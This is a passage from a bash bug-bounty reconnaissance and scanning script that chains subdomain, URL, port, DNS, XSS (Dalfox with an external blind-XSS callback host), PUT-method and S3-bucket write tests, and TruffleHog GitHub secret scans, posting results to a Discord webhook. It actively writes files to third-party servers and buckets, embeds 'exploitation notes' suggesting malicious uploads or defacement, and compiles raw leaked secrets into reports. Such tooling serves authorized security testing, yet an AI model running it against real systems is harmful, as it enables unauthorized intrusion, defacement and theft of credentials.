    log INFO "Fetching URLs using URLFinder and extracting JS files"
    
    # Ensure urls directory exists
    mkdir -p "$DOMAIN_DIR/urls"
    ensure_permissions "$DOMAIN_DIR/urls"
    
    # Initialize/clear files
    > "$DOMAIN_DIR/urls/all-urls.txt" 2>/dev/null || touch "$DOMAIN_DIR/urls/all-urls.txt"
    > "$DOMAIN_DIR/urls/js-urls.txt" 2>/dev/null || touch "$DOMAIN_DIR/urls/js-urls.txt"

    # Check if we're working with a single subdomain or full domain
    if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
        # For single subdomain, only fetch URLs for that subdomain
        log INFO "Fetching URLs for single subdomain: $SINGLE_SUBDOMAIN"
        urlfinder -d "$SINGLE_SUBDOMAIN" -all -silent -config $CONFIG_FILE -o "$DOMAIN_DIR/urls/all-urls.txt" >> "$LOG_FILE" 2>&1
        log INFO "Running JSFinder on $SINGLE_SUBDOMAIN"
        jsfinder -l "$DOMAIN_DIR/subs/live-subs.txt" -c 50 -s -o "$DOMAIN_DIR/urls/js-urls.txt" >> "$LOG_FILE" 2>&1
        
    elif [[ -n "$TARGET" ]]; then
        # 1. First collect URLs using urlfinder
        log INFO "Running URLFinder for initial URL collection"
        urlfinder -d "$TARGET" -all -silent -o "$DOMAIN_DIR/urls/all-urls.txt" -pc $CONFIG_FILE >> "$LOG_FILE" 2>&1
        
        # 2. Run JSFinder on live subdomains to find JS files and endpoints
        if [[ -s "$DOMAIN_DIR/subs/live-subs.txt" ]]; then
            log INFO "Running JSFinder on live subdomains"
            jsfinder -l "$DOMAIN_DIR/subs/live-subs.txt" -c 50 -s -o "$DOMAIN_DIR/urls/js-urls.txt" >> "$LOG_FILE" 2>&1
        fi
    fi

            # Extract .js URLs from all-urls.txt if it exists
    if [[ -s "$DOMAIN_DIR/urls/all-urls.txt" ]]; then
        log INFO "Extracting .js URLs from collected URLs"
        grep -i "\.js" "$DOMAIN_DIR/urls/all-urls.txt" >> "$DOMAIN_DIR/urls/js-urls.txt"
        
        # Remove duplicates from js-urls.txt
        sort -u -o "$DOMAIN_DIR/urls/js-urls.txt" "$DOMAIN_DIR/urls/js-urls.txt"
        
        # Merge results and remove duplicates from all-urls.txt
        cat "$DOMAIN_DIR/urls/js-urls.txt" >> "$DOMAIN_DIR/urls/all-urls.txt"
        sort -u -o "$DOMAIN_DIR/urls/all-urls.txt" "$DOMAIN_DIR/urls/all-urls.txt"
    fi
    
    # Count total unique URLs
    if [[ -s "$DOMAIN_DIR/urls/all-urls.txt" ]]; then
        local total_urls=$(wc -l < "$DOMAIN_DIR/urls/all-urls.txt")
        local js_urls=$(wc -l < "$DOMAIN_DIR/urls/js-urls.txt")
        log SUCCESS "Found $total_urls total unique URLs"
        log SUCCESS "Found $js_urls JavaScript files/endpoints"
        if [[ -n "$DISCORD_WEBHOOK" && $JS_MONITOR_MODE -ne 1 ]]; then
            send_file_to_discord "$DOMAIN_DIR/urls/all-urls.txt" "Found $total_urls unique URLs"
            if [[ -s "$DOMAIN_DIR/urls/js-urls.txt" ]]; then
                local js_urls=$(wc -l < "$DOMAIN_DIR/urls/js-urls.txt")
                send_file_to_discord "$DOMAIN_DIR/urls/js-urls.txt" "Found $js_urls JavaScript files/endpoints"
            fi
        fi
    else
        log WARNING "[-] No URLs found"
        touch "$DOMAIN_DIR/urls/all-urls.txt"
    fi
}

# Function to filter live hosts
filter_live_hosts() {
    if [[ ! -f "$DOMAIN_DIR/subs/all-subs.txt" ]]; then
        log WARNING "[-] No subdomains file found at $DOMAIN_DIR/subs/all-subs.txt"
        return
    fi
    
    log INFO "Filtering live hosts"
    mkdir -p "$DOMAIN_DIR/subs"
    
    if [[ -s "$DOMAIN_DIR/subs/all-subs.txt" ]]; then
        cat "$DOMAIN_DIR/subs/all-subs.txt" | httpx -silent -nc -o "$DOMAIN_DIR/subs/live-subs.txt" >> "$LOG_FILE" 2>&1
        local total_subs=$(wc -l < "$DOMAIN_DIR/subs/all-subs.txt")
        local live_subs=$(wc -l < "$DOMAIN_DIR/subs/live-subs.txt")
        log SUCCESS "Found $live_subs live subdomains out of $total_subs total"
        if [[ $JS_MONITOR_MODE -ne 1 ]]; then
            send_file_to_discord "$DOMAIN_DIR/subs/live-subs.txt" "Live Subdomains Found ($live_subs out of $total_subs)"
        fi
    else
        log WARNING "[-] No subdomains found to filter"
        touch "$DOMAIN_DIR/subs/live-subs.txt"
    fi
}

# Function to run port scanning
run_port_scan() {
    log INFO "Port Scanning with naabu"
    if [[ -s "$DOMAIN_DIR/subs/live-subs.txt" ]]; then
        naabu -l "$DOMAIN_DIR/subs/live-subs.txt"-tp 10000 -ec -c 500 -Pn --silent -rate 1000 -o "$DOMAIN_DIR/ports/ports.txt" >> "$LOG_FILE" 2>&1
        if [[ -s "$DOMAIN_DIR/ports/ports.txt" ]]; then
            send_file_to_discord "$DOMAIN_DIR/ports/ports.txt" "Port Scan Results"
        else
            log WARNING "[-] No open ports found"
        fi
    else
        log WARNING "[-] No subdomains found to scan ports"
    fi
}

# Function to run GF pattern scans
run_gf_scans() {
    log INFO "Starting GF pattern scanning"
    
    # Create vulnerabilities directory if it doesn't exist
    mkdir -p "$DOMAIN_DIR/vulnerabilities"
    
    # Check if we have URLs to scan
    if [[ ! -f "$DOMAIN_DIR/urls/all-urls.txt" ]]; then
        log WARNING "No URLs file found at $DOMAIN_DIR/urls/all-urls.txt"
        return
    fi

    # Check if URLs file is empty
    if [[ ! -s "$DOMAIN_DIR/urls/all-urls.txt" ]]; then
        log WARNING "URLs file is empty, nothing to scan"
        return
    fi

    local total_urls=$(wc -l < "$DOMAIN_DIR/urls/all-urls.txt")
    log INFO "Found $total_urls URLs to scan"
    
    # Get available GF patterns
    local patterns=(debug_logic idor iext img-traversal iparams isubs jsvar lfi rce redirect sqli ssrf ssti xss)
    
    # Scan for each GF pattern
    for pattern in "${patterns[@]}"; do
        # Create directory for this vulnerability type
        mkdir -p "$DOMAIN_DIR/vulnerabilities/$pattern"
        
        log INFO "Scanning for $pattern pattern ($(date '+%H:%M:%S'))"
        
        # Run GF scan and save results
        if ! cat "$DOMAIN_DIR/urls/all-urls.txt" | gf "$pattern" > "$DOMAIN_DIR/vulnerabilities/$pattern/gf-results.txt" 2>> "$LOG_FILE"; then
            log ERROR "GF scan failed for $pattern pattern"
            continue
        fi
        
        # Check if we found any matches
        if [[ -s "$DOMAIN_DIR/vulnerabilities/$pattern/gf-results.txt" ]]; then
            local count=$(wc -l < "$DOMAIN_DIR/vulnerabilities/$pattern/gf-results.txt")
            log SUCCESS "Found $count potential $pattern matches"
            
            if [[ -n "$DISCORD_WEBHOOK" ]]; then
                send_file_to_discord "$DOMAIN_DIR/vulnerabilities/$pattern/gf-results.txt" "[$pattern] Found $count potentially vulnerable endpoints"
            fi
        else
            log INFO "No $pattern matches found"
            rm -f "$DOMAIN_DIR/vulnerabilities/$pattern/gf-results.txt"
        fi
    done

    log SUCCESS "GF pattern scanning completed at $(date '+%H:%M:%S')"
}

# Function to check CNAME records using dnsx
check_cname_records() {
    local domain_dir="$1"
    log INFO "Checking CNAME records using dnsx"
    
    if [[ -s "$domain_dir/subs/all-subs.txt" ]]; then
        # Use dnsx to get CNAME records - much faster than dig
        log INFO "Collecting CNAME records with dnsx..."
        cat "$domain_dir/subs/all-subs.txt" | dnsx -cname -silent -resp -nc -o "$domain_dir/subs/cname-records.txt" 2>/dev/null
        
        if [[ -s "$domain_dir/subs/cname-records.txt" ]]; then
            local cname_count=$(wc -l < "$domain_dir/subs/cname-records.txt")
            log SUCCESS "Found $cname_count CNAME records using dnsx"
            
            # Print a sample of the CNAME records
            log INFO "Sample CNAME records:"
            head -n 5 "$domain_dir/subs/cname-records.txt" | while read -r line; do
                log INFO "    $line"
            done
            
            send_file_to_discord "$domain_dir/subs/cname-records.txt" "CNAME Records Found ($cname_count records)"
        else
            log WARNING "[-] No CNAME records found"
            touch "$domain_dir/subs/cname-records.txt"
        fi
    else
        log WARNING "[-] No subdomains found to check CNAME records"
        touch "$domain_dir/subs/cname-records.txt"
    fi
}

# Function to check NS records using dnsx
check_ns_records() {
    local domain_dir="$1"
    log INFO "Checking NS records using dnsx"
    
    if [[ -s "$domain_dir/subs/all-subs.txt" ]]; then
        # Use dnsx to get NS records
        log INFO "Collecting NS records with dnsx..."
        cat "$domain_dir/subs/all-subs.txt" | dnsx -ns -resp -silent > "$domain_dir/subs/ns-records-raw.txt" 2>/dev/null
        
        # Format the output for better readability
        if [[ -s "$domain_dir/subs/ns-records-raw.txt" ]]; then
            # Convert dnsx output format to readable format
            sed 's/\[NS\] \[/ -> /g; s/\]$//g' "$domain_dir/subs/ns-records-raw.txt" > "$domain_dir/subs/ns-records.txt"
            rm "$domain_dir/subs/ns-records-raw.txt"
            
            local ns_count=$(wc -l < "$domain_dir/subs/ns-records.txt")
            log SUCCESS "Found $ns_count NS records using dnsx"
            
            # Print a sample of the NS records
            log INFO "Sample NS records:"
            head -n 5 "$domain_dir/subs/ns-records.txt" | while read -r line; do
                log INFO "    $line"
            done
            
            send_file_to_discord "$domain_dir/subs/ns-records.txt" "NS Records Found ($ns_count records)"
        else
            log WARNING "[-] No NS records found"
            touch "$domain_dir/subs/ns-records.txt"
        fi
    else
        log WARNING "[-] No subdomains found to check NS records"
        touch "$domain_dir/subs/ns-records.txt"
    fi
}

# Function to check enabled PUT Method and S3 bucket vulnerabilities
put_scan() {
    local domain_dir="$1"
    local target_domain="$2"
    local web_output="$domain_dir/vulnerabilities/put-scan.txt"
    local s3_output="$domain_dir/vulnerabilities/put-s3-scan.txt"

    # --- Web PUT Scan ---
    _scan_web_put "$domain_dir" "$web_output"

    # --- S3 Bucket PUT Scan ---
    _scan_s3_put "$domain_dir" "$s3_output" "$target_domain"
}

# Helper function for web PUT scanning
_scan_web_put() {
    local domain_dir="$1"
    local output_file="$2"
    local total_hosts=0
    local vulnerable_hosts=0

    log INFO "Starting PUT method vulnerability scan"

    # Count total hosts and initialize output
    total_hosts=$(wc -l < "$domain_dir/subs/live-subs.txt")
    log INFO "Scanning $total_hosts hosts for PUT method vulnerabilities"
    > "$output_file"

    # Test each host
    while IFS= read -r host; do
        local path="evil.txt"
        # Clean host and build URL
        host=$(echo "$host" | sed 's:/*$::')
        local test_url
        if [[ "$host" =~ ^https?:// ]]; then
            test_url="${host}/${path}"
        else
            test_url="https://${host}/${path}"
        fi

        # Try PUT request and verify with GET
        curl -s -X PUT -d "hello world" "$test_url" > /dev/null 2>&1
        local get_response=$(curl -s -o /dev/null -w "%{http_code}" -X GET "$test_url" 2>/dev/null)
        
        if [[ "$get_response" == "200" ]]; then
            echo "[VULNERABLE] $test_url" >> "$output_file"
            ((vulnerable_hosts++))
            log SUCCESS "PUT vulnerability found: $test_url"
        fi
    done < "$domain_dir/subs/live-subs.txt"

    # Report results
    if [[ $vulnerable_hosts -gt 0 ]]; then
        log SUCCESS "Found $vulnerable_hosts vulnerable hosts out of $total_hosts"
        send_file_to_discord "$output_file" "PUT Method Vulnerabilities Found ($vulnerable_hosts hosts)"
    else
        log WARNING "No PUT vulnerabilities found across $total_hosts hosts"
    fi

    log SUCCESS "PUT Method vulnerability scan completed"
}

# Helper function for S3 bucket PUT scanning
_scan_s3_put() {
    local domain_dir="$1" 
    local output_file="$2"
    local target_domain="$3"  # Pass the target domain directly

    log INFO "Starting parallel S3 bucket PUT scan using root domain..."
    > "$output_file"

    # Extract root domain (e.g., hackerone.com -> hackerone)
    local root_domain=$(echo "$target_domain" | sed 's/\..*$//' | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9]//g')
    
    log INFO "Using root domain: $root_domain for S3 bucket generation"

    # Check if mutations wordlist exists and load it
    local mutations_file="Wordlists/s3.txt"
    local mutations=()
    
    if [[ ! -f "$mutations_file" ]]; then
        log WARNING "Mutations wordlist not found at $mutations_file"
        log WARNING "Using basic suffixes instead"
        mutations=("" "-files" "-data" "-backup" "-static" "-uploads" "-assets" "-media" "-images" "-docs" "-api" "-storage" "-logs" "-tmp" "-web" "-admin")
    else
        log INFO "Loading mutations from $mutations_file"
        # Read mutations from file into array
        while IFS= read -r mutation; do
            [[ -n "$mutation" && ! "$mutation" =~ ^# ]] && mutations+=("$mutation")
        done < "$mutations_file"
        log INFO "Loaded ${#mutations[@]} mutations from wordlist"
    fi

    # Generate bucket names using root domain + mutations
    local bucket_names=()
    local valid_buckets=()
    local vulnerable_buckets=()
    
    # Add root domain without any mutation
    bucket_names+=("$root_domain")
    
    # Generate permutations with mutations
    for mutation in "${mutations[@]}"; do
        # Skip empty mutations that are already covered
        [[ -z "$mutation" ]] && continue
        
        # Add mutation as suffix
        bucket_names+=("${root_domain}${mutation}")
        
        # Add mutation as prefix (for some patterns that start with letters)
        if [[ "$mutation" =~ ^[a-z] ]]; then
            bucket_names+=("${mutation}${root_domain}")
        fi
    done

    log INFO "Generated ${#bucket_names[@]} potential bucket names"

    # Create temporary directory for parallel processing
    local temp_dir="/tmp/s3_scan_$$"
    mkdir -p "$temp_dir"

    # Function to check a single bucket (will be called in parallel)
    check_single_bucket() {
        local bucket="$1"
        local temp_dir="$2"
        local result_file="$temp_dir/result_$bucket"
        
        # Only test the most common HTTPS format with short timeout
        local bucket_url="https://$bucket.s3.amazonaws.com/"
        
        # Fast check with minimal timeout
        local http_code=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 1 --max-time 2 "$bucket_url" 2>/dev/null)
        
        # Check for bucket existence indicators
        if [[ "$http_code" =~ ^(200|403|301|302)$ ]]; then
            echo "EXISTS|$bucket_url|$http_code|DIRECT" > "$result_file"
            return 0
        elif [[ "$http_code" == "404" ]]; then
            # For 404, test with common paths that often exist in buckets
            local test_paths=("1" "test" "robots.txt" "favicon.ico" "index.html" "uploads/1" "files/1" "images/1" "assets/1" "categories/1" "products/1")
            
            for test_path in "${test_paths[@]}"; do
                local test_url="${bucket_url}${test_path}"
                local test_resp=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 1 --max-time 1 "$test_url" 2>/dev/null)
                
                # If we get 200 (file exists) or 403 (access denied but bucket exists)
                if [[ "$test_resp" =~ ^(200|403)$ ]]; then
                    echo "EXISTS|$bucket_url|$http_code|LISTING_DISABLED_$test_path" > "$result_file"
                    return 0
                fi
            done
        fi
        
        # No bucket found
        return 1
    }

    # Export the function for parallel execution
    export -f check_single_bucket

    # Phase 1: Parallel bucket existence check
    log INFO "Phase 1: Parallel bucket existence check..."
    local exists_count=0

    # Use GNU parallel if available, otherwise use xargs
    if command -v parallel &> /dev/null; then
        log INFO "Using GNU parallel for maximum speed..."
        printf '%s\n' "${bucket_names[@]}" | parallel -j 50 --no-notice check_single_bucket {} "$temp_dir"
    else
        log INFO "Using xargs for parallel processing..."
        printf '%s\n' "${bucket_names[@]}" | xargs -n 1 -P 20 -I {} bash -c 'check_single_bucket "$1" "$2"' _ {} "$temp_dir"
    fi

    # Collect results
    log INFO "Collecting results..."
    
    for result_file in "$temp_dir"/result_*; do
        if [[ -f "$result_file" ]]; then
            IFS='|' read -r status bucket_url http_code method < "$result_file"
            if [[ "$status" == "EXISTS" ]]; then
                valid_buckets+=("$bucket_url")
                ((exists_count++))
                
                if [[ "$method" =~ ^LISTING_DISABLED ]]; then
                    detected_via=$(echo "$method" | cut -d'_' -f3-)
                    log SUCCESS "Found existing bucket: $bucket_url (Listing Disabled - found $detected_via)"
                    echo "[EXISTS] $bucket_url (Listing Disabled - found $detected_via)" >> "$output_file"
                else
                    log SUCCESS "Found existing bucket: $bucket_url (HTTP $http_code)"
                    echo "[EXISTS] $bucket_url (HTTP $http_code)" >> "$output_file"
                fi
            fi
        fi
    done

    # Cleanup temp directory
    rm -rf "$temp_dir"

    log INFO "Phase 1 complete: Found $exists_count existing buckets out of ${#bucket_names[@]} tested"

    # Phase 2: Test PUT operations on existing buckets
    if [[ ${#valid_buckets[@]} -gt 0 ]]; then
        log INFO "Phase 2: Testing PUT operations on ${#valid_buckets[@]} existing buckets..."
        
        for bucket_url in "${valid_buckets[@]}"; do
            # Test PUT operation with short timeout
            local test_file="test-put-autoar-$(date +%s).txt"
            local put_url="${bucket_url%/}/$test_file"
            
            log INFO "Testing PUT on: $put_url"
            
            # Try PUT request with short timeout
            local put_resp=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 2 --max-time 3 -X PUT --data "autoar-test-$(date)" "$put_url" 2>/dev/null)
            
            if [[ "$put_resp" == "200" || "$put_resp" == "201" ]]; then
                vulnerable_buckets+=("$put_url")
                echo "[VULNERABLE] Writable S3 bucket: $put_url (HTTP $put_resp)" | tee -a "$output_file"
                log SUCCESS "VULNERABLE: Writable S3 bucket found: $put_url"
                
                # Quick verification
                local get_resp=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 1 --max-time 2 -X GET "$put_url" 2>/dev/null)
                if [[ "$get_resp" == "200" ]]; then
                    echo "[CONFIRMED] File successfully written and readable: $put_url" >> "$output_file"
                    log SUCCESS "CONFIRMED: File write/read successful on $put_url"
                fi
                
            elif [[ "$put_resp" == "403" ]]; then
                echo "[FORBIDDEN] Bucket exists but PUT not allowed: $put_url (HTTP 403)" >> "$output_file"
                log INFO "Bucket exists but not writable: $put_url"
            elif [[ "$put_resp" == "405" ]]; then
                echo "[METHOD_NOT_ALLOWED] PUT method not allowed: $put_url (HTTP 405)" >> "$output_file"
            else
                echo "[INFO] PUT test result: HTTP $put_resp for $put_url" >> "$output_file"
            fi
        done
    else
        log INFO "No existing buckets found to test PUT operations"
    fi

    # Generate summary
    {
        echo "=== S3 BUCKET SCAN SUMMARY ==="
        echo "Target Domain: $target_domain"
        echo "Root Domain Used: $root_domain"
        echo "Total Bucket Names Generated: ${#bucket_names[@]} (using s3.txt)"
        echo "Existing Buckets Found: $exists_count"
        echo "Vulnerable Buckets Found: ${#vulnerable_buckets[@]}"
        echo ""
        
        if [[ ${#vulnerable_buckets[@]} -gt 0 ]]; then
            echo "=== VULNERABLE BUCKETS ==="
            for vuln_bucket in "${vulnerable_buckets[@]}"; do
                echo "- $vuln_bucket"
            done
            echo ""
        fi
        
        echo "=== EXPLOITATION NOTES ==="
        echo "1. Vulnerable buckets allow file uploads via PUT requests"
        echo "2. You can upload malicious files or defacement content"
        echo "3. Check bucket policies and permissions for further access"
        echo "4. Look for sensitive files that might be stored in these buckets"
        echo ""
        echo "Example exploitation:"
        if [[ ${#vulnerable_buckets[@]} -gt 0 ]]; then
            echo "curl -X PUT --data 'Your content here' '${vulnerable_buckets[0]}'"
        else
            echo "curl -X PUT --data 'Your content here' 'https://bucket.s3.amazonaws.com/yourfile.txt'"
        fi
        
    } >> "$output_file"

    # Send results to Discord
    if [[ -s "$output_file" ]]; then
        local summary_msg="**S3 Bucket Scan Results for $target_domain**\n"
        summary_msg+="\`\`\`"
        summary_msg+="Root Domain: $root_domain\n"
        summary_msg+="Bucket Names Generated: ${#bucket_names[@]} (using s3.txt)\n"
        summary_msg+="Existing Buckets: $exists_count\n"
        summary_msg+="Vulnerable Buckets: ${#vulnerable_buckets[@]}"
        summary_msg+="\`\`\`"
        
        send_to_discord "$summary_msg"
        send_file_to_discord "$output_file" "S3 Bucket Scan Results - $exists_count existing, ${#vulnerable_buckets[@]} vulnerable"
    else
        log INFO "No S3 buckets found for $target_domain"
    fi

    log SUCCESS "S3 bucket scan completed. Found $exists_count existing buckets, ${#vulnerable_buckets[@]} vulnerable"
}

# Function to run Dalfox scans
run_dalfox_scan() {
    log INFO "Starting Dalfox XSS scanning..."

    # Check if input file exists
    if [[ ! -f "$DOMAIN_DIR/vulnerabilities/xss/gf-results.txt" ]]; then
        log WARNING "No parameters file found for XSS scanning"
        return
    fi

    # Count number of URLs to scan
    local total_urls=$(wc -l < "$DOMAIN_DIR/vulnerabilities/xss/gf-results.txt")
    log INFO "Found $total_urls URLs to scan for XSS vulnerabilities"

    # Run Dalfox scan
    log INFO "Running Dalfox with 50 workers and custom XSS payload"
    dalfox file "$DOMAIN_DIR/vulnerabilities/xss/gf-results.txt" \
        --no-spinner \
        --only-poc r \
        --ignore-return 302,404,403 \
        --skip-bav \
        -b "0x88.xss.cl" \
        -w 50 \
        -o "$DOMAIN_DIR/dalfox-results.txt" \
        2>> "$LOG_FILE"

    # Check results
    if [[ -s "$DOMAIN_DIR/dalfox-results.txt" ]]; then
        local vuln_count=$(grep -c "POC" "$DOMAIN_DIR/dalfox-results.txt")
        log SUCCESS "Dalfox scan completed. Found $vuln_count potential XSS vulnerabilities"
        send_file_to_discord "$DOMAIN_DIR/dalfox-results.txt" "Dalfox XSS Scan Results - Found $vuln_count vulnerabilities"
    else
        log WARNING "Dalfox scan completed. No XSS vulnerabilities found"
        touch "$DOMAIN_DIR/dalfox-results.txt"
    fi
}

# Function to generate HTML report for GitHub secrets
generate_github_html_report() {
    local repo_name="$1"
    local org_name="$2"
    local json_file="$3"
    local html_file="$4"
    local secret_count="$5"
    
    cat > "$html_file" <<EOF
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>GitHub Secrets Scan Report - $repo_name</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 20px;
            background-color: #f5f5f5;
            line-height: 1.6;
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 8px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header {
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white;
            padding: 30px;
            text-align: center;
        }
        .header h1 {
            margin: 0;
            font-size: 2.5em;
        }
        .header p {
            margin: 10px 0 0 0;
            opacity: 0.9;
        }
        .stats {
            display: flex;
            justify-content: space-around;
            padding: 20px;
            background: #f8f9fa;
            border-bottom: 1px solid #e9ecef;
        }
        .stat {
            text-align: center;
        }
        .stat-number {
            font-size: 2em;
            font-weight: bold;
            color: #dc3545;
        }
        .stat-label {
            color: #6c757d;
            font-size: 0.9em;
        }
        .secrets-container {
            padding: 20px;
        }
        .secret-item {
            border: 1px solid #e9ecef;
            border-radius: 6px;
            margin-bottom: 15px;
            overflow: hidden;
        }
        .secret-header {
            background: #fff3cd;
            padding: 15px;
            border-bottom: 1px solid #ffeaa7;
        }
        .secret-detector {
            font-weight: bold;
            color: #856404;
            margin-bottom: 5px;
            font-size: 1.1em;
        }
        .secret-location {
            color: #6c757d;
            font-family: monospace;
            font-size: 0.9em;
        }
        .secret-details {
            padding: 15px;
        }
        .secret-raw {
            background: #f8f9fa;
            padding: 10px;
            border-radius: 4px;
            margin-top: 10px;
            font-family: monospace;
            font-size: 0.85em;
            word-break: break-all;
            border-left: 3px solid #dc3545;
        }
        .secret-meta {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 10px;
            margin-top: 10px;
            font-size: 0.9em;
        }
        .meta-item {
            background: #e9ecef;
            padding: 8px;
            border-radius: 3px;
        }
        .meta-label {
            font-weight: bold;
            color: #495057;
        }
        .verified {
            color: #28a745;
            font-weight: bold;
        }
        .not-verified {
            color: #dc3545;
            font-weight: bold;
        }
        .footer {
            text-align: center;
            padding: 20px;
            color: #6c757d;
            border-top: 1px solid #e9ecef;
        }
        .no-secrets {
            text-align: center;
            padding: 40px;
            color: #28a745;
            font-size: 1.2em;
        }
        .timestamp {
            color: #6c757d;
            font-size: 0.9em;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🔍 GitHub Secrets Scan Report</h1>
            <p>Repository: <strong>$repo_name</strong></p>
            <p>Organization: <strong>$org_name</strong></p>
            <p class="timestamp">Generated: $(date)</p>
        </div>
        
        <div class="stats">
            <div class="stat">
                <div class="stat-number">$secret_count</div>
                <div class="stat-label">Secrets Found</div>
            </div>
            <div class="stat">
                <div class="stat-number">$(date +%Y-%m-%d)</div>
                <div class="stat-label">Scan Date</div>
            </div>
        </div>
        
        <div class="secrets-container">
EOF

    if [[ "$secret_count" -gt 0 ]]; then
        echo "            <h3>🔐 Secrets Found</h3>" >> "$html_file"
        
        # Process each secret from JSON
        jq -r '.[] | @base64' "$json_file" | while read -r secret; do
            local secret_data=$(echo "$secret" | base64 -d)
            local detector=$(echo "$secret_data" | jq -r '.DetectorName // "Unknown"')
            local verified=$(echo "$secret_data" | jq -r '.Verified // false')
            local raw=$(echo "$secret_data" | jq -r '.Raw // "N/A"')
            local redacted=$(echo "$secret_data" | jq -r '.Redacted // "N/A"')
            local file=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.file // "Unknown"')
            local line=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.line // "Unknown"')
            local commit=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.commit // "Unknown"')
            local timestamp=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.timestamp // "Unknown"')
            local link=$(echo "$secret_data" | jq -r '.SourceMetadata.Data.Github.link // "N/A"')
            local account=$(echo "$secret_data" | jq -r '.ExtraData.account // "N/A"')
            local arn=$(echo "$secret_data" | jq -r '.ExtraData.arn // "N/A"')
            local is_canary=$(echo "$secret_data" | jq -r '.ExtraData.is_canary // "false"')
            
            cat >> "$html_file" <<EOF
            <div class="secret-item">
                <div class="secret-header">
                    <div class="secret-detector">$detector</div>
                    <div class="secret-location">File: $file (Line: $line)</div>
                </div>
                <div class="secret-details">
                    <div class="secret-raw">
                        <strong>Raw Secret:</strong> $raw
                    </div>
                    <div class="secret-meta">
                        <div class="meta-item">
                            <span class="meta-label">Verified:</span> 
                            <span class="$(if [[ "$verified" == "true" ]]; then echo "verified"; else echo "not-verified"; fi)">$verified</span>
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Redacted:</span> $redacted
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Commit:</span> ${commit:0:8}...
                        </div>
                        <div class="meta-item">
                            <span class="meta-label">Timestamp:</span> $timestamp
                        </div>
EOF
            
            if [[ "$account" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">Account:</span> $account</div>" >> "$html_file"
            fi
            
            if [[ "$arn" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">ARN:</span> ${arn:0:50}...</div>" >> "$html_file"
            fi
            
            if [[ "$is_canary" == "true" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">⚠️ Canary Token:</span> Yes</div>" >> "$html_file"
            fi
            
            if [[ "$link" != "N/A" ]]; then
                echo "                        <div class=\"meta-item\"><span class=\"meta-label\">Link:</span> <a href=\"$link\" target=\"_blank\">View in GitHub</a></div>" >> "$html_file"
            fi
            
            echo "                    </div>" >> "$html_file"
            echo "                </div>" >> "$html_file"
            echo "            </div>" >> "$html_file"
        done
    else
        echo '            <div class="no-secrets">✅ No secrets found in this repository</div>' >> "$html_file"
    fi
    
    cat >> "$html_file" <<EOF
        </div>
        
        <div class="footer">
            <p>Generated by AutoAR GitHub Secrets Scanner | Powered by TruffleHog</p>
            <p>Scan completed at $(date)</p>
        </div>
    </div>
</body>
</html>
EOF
    
    log SUCCESS "HTML report generated: $html_file"
}

# Function to scan GitHub organization for secrets using modern TruffleHog
github_org_scan() {
    local org_name="$1"
    local max_repos="${2:-50}"
    
    log INFO "Starting GitHub organization scan for: $org_name"
    log INFO "Maximum repositories to scan: $max_repos"
    
    # Create organization results directory
    local org_dir="$DOMAIN_DIR/org_${org_name}"
    mkdir -p "$org_dir/vulnerabilities"
    
    # Use TruffleHog organization scan
    local org_results_file="$org_dir/org_secrets.json"
    log INFO "Scanning organization with TruffleHog..."
    
    # Ensure GitHub auth is available to TruffleHog
    export GH_TOKEN="$GITHUB_TOKEN"
    export GITHUB_TOKEN="$GITHUB_TOKEN"
    export TRUFFLEHOG_GITHUB_API_TOKEN="$GITHUB_TOKEN"

    if /home/sallam/.local/bin/trufflehog github --org="$org_name" --issue-comments --pr-comments --json > "$org_results_file" 2>/dev/null; then
        # Convert newline-delimited JSON to JSON array for counting
        local temp_json_array="$org_dir/org_secrets_array.json"
        if [[ -s "$org_results_file" ]]; then
            # Filter out any non-finding log lines; keep only real findings
            jq -s '[.[] | select(.DetectorName != null)]' "$org_results_file" > "$temp_json_array" 2>/dev/null || echo "[]" > "$temp_json_array"
        else
            echo "[]" > "$temp_json_array"
        fi
        
        local total_secrets=$(jq length "$temp_json_array" 2>/dev/null || echo "0")
        
        if [[ "$total_secrets" -gt 0 ]]; then
            log SUCCESS "Found $total_secrets secrets in organization $org_name"
            
            # Generate HTML report for organization
            local html_report="$org_dir/org_secrets.html"
            generate_github_org_html_report "$org_name" "$temp_json_array" "$html_report" "$total_secrets"
            
            # Send Discord notification with both reports
            if [[ -n "$DISCORD_WEBHOOK" ]]; then
                local message="🔍 **GitHub Organization Scan Results**\n\n"
                message+="**Organization:** \`$org_name\`\n"
                message+="**Secrets found:** \`$total_secrets\`\n"
                message+="**Time:** \`$(date)\`\n"
                message+="**Reports:** \`JSON + HTML attached\`\n"
                
                local payload=$(cat <<EOF
{
    "content": "$message",
    "username": "GitHub Organization Scanner",
    "avatar_url": "https://github.com/fluidicon.png"
}
EOF
)
                
                curl -s -X POST "$DISCORD_WEBHOOK" \
                    -H "Content-Type: application/json" \
                    -d "$payload" > /dev/null 2>&1 || true
                
                # Send both JSON and HTML files
                send_file_to_discord "$temp_json_array" "GitHub Organization Scan Results (JSON) for $org_name"
                send_file_to_discord "$html_report" "GitHub Organization Scan Results (HTML) for $org_name"
            fi
            
            log SUCCESS "Organization scan completed for $org_name - Found $total_secrets secrets"
        else
            log INFO "No secrets found in organization $org_name"
            
            # Generate empty reports for no findings
            local html_report="$org_dir/org_secrets.html"
